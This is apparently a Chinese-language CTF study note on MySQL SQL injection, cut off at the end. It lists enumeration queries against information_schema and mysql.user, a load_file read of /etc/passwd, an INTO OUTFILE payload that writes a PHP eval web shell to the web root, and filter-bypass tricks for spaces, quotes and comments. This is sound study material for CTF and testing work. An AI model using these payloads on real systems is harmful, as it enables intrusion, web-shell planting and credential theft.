来自Kagi师傅(终于见到了CTF的职业选手了)总结,我的CTF生涯还有很多个6年(未开始)
本文字数4000+,阅读时间约15分钟。
整理下sql注入相关知识,查漏补缺(长期更新)
常用语句及知识
information_schema包含了大量有用的信息,例如下图
mysql.user下有所有的用户信息,其中authentication_string为用户密码的hash,如果可以使用可以修改这个值,那么就可以修改任意用户的密码
#sql当前用户:select user()数据库版本:select version() , select @@version数据库名:select database()操作系统:select @@version_compile_os所有变量:show variables单个变量:select @@secure_file_priv , show variables like 'secure_file_%'爆字段数:order by 1... ,group by 1...查库名:select group_concat(schema_name) from information_schema.schemata查表名:select group_concat(table_name) from information_schema.tables where table_schema='库名'查字段:select group_concat(column_name) from information_schema.columns where table_name='表名'读取某行:select * from mysql.user limit n,m // limit m offset n (第n行之后m行,第一行为0)读文件:select load_file('/etc/passwd')写文件:select '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/a.php' //该处文件名无法使用16进制绕过
常用函数
#sql截取字符串:substr('abc',1,1)、substring('abc',1,1)、left('abc',1)、right('abc',1),mid('abc',1,1)字符串拼接:concat('a','b','c'),concat_ws(' ','a','b','c')多行拼接:group_concat //eg: select group_concat(user) from mysql.user时延函数:sleep(5)、benchmark(10000000,md5('123456')) //其他方法get_lock(),笛卡尔,rlike等编码函数: hex、ord、ascii、char、conv(255,10,16)=FF(2-36进制转换)布尔条件:if(1,1,0)、position('a' in 'abc')、elt(1,'a','b')=a&&elt(2,'a','b')=b、(case when (bool) then 1 else 0 end)、field('a',3,2,'a')=3、nullif('a','b')=1&&nullif('a','a')=null、strcmp、regexp、rlike、regexp_like('1','1')...
所有函数及运算符:https://dev.mysql.com/doc/refman/8.0/en/func-op-summary-ref.html
绕过方法
绕过空格
#sql%20、%09、%0a、%0b、%0c、%0d、%a0、%00、/**/、 /*!select*/ 、()、--%0a(可以1-256都跑一遍)
其中%09需要php环境,%0a为\n /!select/为mysql独有。常见用法为/!50727select 1/,即当版本号小于等于50727时,执行select 1
绕过单引号
sql\转义、宽字节%df%27,%bf%27、十六进制绕过
注释方法
sql/**/、--+、#、;%00、union /*!select*/(mysql独有)
select from union select绕过
sqlselect-1,user from mysql.usersele